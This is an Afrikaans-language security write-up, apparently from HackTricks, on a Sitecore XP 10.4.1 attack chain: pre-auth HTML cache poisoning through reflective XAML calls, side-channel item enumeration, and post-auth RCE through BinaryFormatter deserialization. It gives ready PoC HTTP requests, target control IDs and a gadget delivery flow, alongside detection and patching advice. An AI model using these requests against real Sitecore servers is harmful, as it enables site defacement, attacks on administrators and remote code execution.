Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
Reading time: 7 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Hierdie bladsy som 'n praktiese aanvalsketting op Sitecore XP 10.4.1 op wat oorskuif van 'n pre‑auth XAML handler na HTML cache poisoning en, via 'n geauthentiseerde UI‑vloei, na RCE deur BinaryFormatter deserialization. Die tegnieke generaliseer na soortgelyke Sitecore-weergawes/komponente en verskaf konkrete primitive om te toets, op te spoor en te versterk.
- Aangetaste produk (getoets): Sitecore XP 10.4.1 rev. 011628
- Reggestel in: KB1003667, KB1003734 (Junie/Juli 2025)
Sien ook:
Cache Poisoning and Cache Deception
Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
Ingangspunt is die pre‑auth XAML handler wat in web.config geregistreer is:
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
Toeganklik via:
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
Die kontroleboom sluit AjaxScriptManager in, wat, by gebeurtenisversoeke, velde wat deur die aanvaller beheer word lees en reflektief metodes op geteikende kontroles aanroep:
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
Sleutelwaarneming: die XAML-bladsy bevat 'n XmlControl-instantie (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl stam af van Sitecore.Web.UI.WebControl ('n Sitecore-klas), wat die ReflectionUtil.Filter allow-list (Sitecore.*) deurlaat en sodoende metodes op Sitecore WebControl ontsluit.
Magiese metode vir poisoning:
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
Omdat ons xmlcontrol:GlobalHeader kan teiken en Sitecore.Web.UI.WebControl-metodes by naam kan aanroep, kry ons 'n pre‑auth arbitrary HtmlCache write primitive.
PoC request (CVE-2025-53693)
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Aantekeninge:
- __SOURCE is die clientID van xmlcontrol:GlobalHeader binne Sitecore.Shell.Xaml.WebControl (gewoonlik stabiel soos ctl00_ctl00_ctl05_ctl03 aangesien dit afgelei is van statiese XAML).
- __PARAMETERS formaat is Method("arg1","arg2").
Wat om te vergiftig: Cache-sleutel konstruksie
Tipiese HtmlCache sleutel-konstruksie wat deur Sitecore controls gebruik word:
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
Voorbeeld targeted poisoning vir 'n bekende sublayout:
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Enumerering van cacheable components en “vary by” dimensies
As die ItemService anoniem (mis)blootgestel is, kan jy cacheable components opnoem om presiese sleutels af te lei.
Vinnige probe:
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
Lys van cachebare items en vlae:
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
Kyk na velde soos Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Toestelname kan geënumeer word via:
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
Side‑channel enumeration under restricted identities (CVE-2025-53694)
Selfs wanneer ItemService 'n beperkte account naboots (bv. ServicesAPI) en returns an empty Results array, kan TotalCount steeds pre‑ACL Solr hits weerspieël. Jy kan brute‑force item groups/ids met wildcards doen en kyk hoe TotalCount konvergeer om interne inhoud en toestelle in kaart te bring:
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
Sink:
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
Toeganklik via die convertToRuntimeHtml pipeline-stap ConvertWebControls, wat na 'n element met id {iframeId}_inner soek, dit base64 decodeer + deserialiseer en dan die resulterende string in die HTML invoeg:
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
Trigger (geauthentiseer, Content Editor-regte). Die FixHtml-dialoog roep convertToRuntimeHtml aan. End‑to‑end sonder UI-klikke:
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
Gadget generation: gebruik ysoserial.net / YSoNet met BinaryFormatter om 'n base64 payload te produseer wat 'n string teruggee. Die string se inhoud word in die HTML geskryf deur ConvertWebControls nadat deserialiserings‑side‑effekte uitgevoer is.
Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Volledige ketting
- Pre‑auth aanvaller vergiftig HtmlCache met arbitraire HTML deur reflectief WebControl.AddToCache aan te roep via XAML AjaxScriptManager.
- Die vergiftigde HTML bedien JavaScript wat 'n geauthentiseerde Content Editor‑gebruiker deur die FixHtml‑vloei aanspoor.
- Die FixHtml‑blad aktiveer convertToRuntimeHtml → ConvertWebControls, wat die deur die aanvaller beheerde base64 met BinaryFormatter deserialiseer → RCE onder die Sitecore app pool‑identiteit.
Opsporing
- Pre‑auth XAML: versoeke na
/-/xaml/Sitecore.Shell.Xaml.WebControl
met__ISEVENT=1
, verdagte__SOURCE
en__PARAMETERS=AddToCache(...)
. - ItemService‑sondeering: pieke van
/sitecore/api/ssc
wildcard‑navrae, grootTotalCount
met leëResults
. - Deserialiseringspogings:
EditHtml.aspx
gevolg deurFixHtml.aspx?hdl=...
en abnormaal groot base64 in HTML‑velde.
Verharding
- Pas Sitecore‑patches KB1003667 en KB1003734 toe; beperk/deaktiveer pre‑auth XAML handlers of voeg streng validering by; moniteer en beperk versoektempo na
/-/xaml/
. - Verwyder/vervang BinaryFormatter; beperk toegang tot convertToRuntimeHtml of handhaaf sterk bediener‑kant validering van HTML‑redigeer vloei.
- Beperk toegang tot
/sitecore/api/ssc
tot loopback of geauthentiseerde rolle; vermy impersonation‑patrone wat leakTotalCount
‑gebaseerde side channels. - Handhaaf MFA/least privilege vir Content Editor‑gebruikers; hersien CSP om die impak van JS‑sturing deur cache poisoning te verminder.
Verwysings
- watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE
- Sitecore KB1003667 – Security patch
- Sitecore KB1003734 – Security patch
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.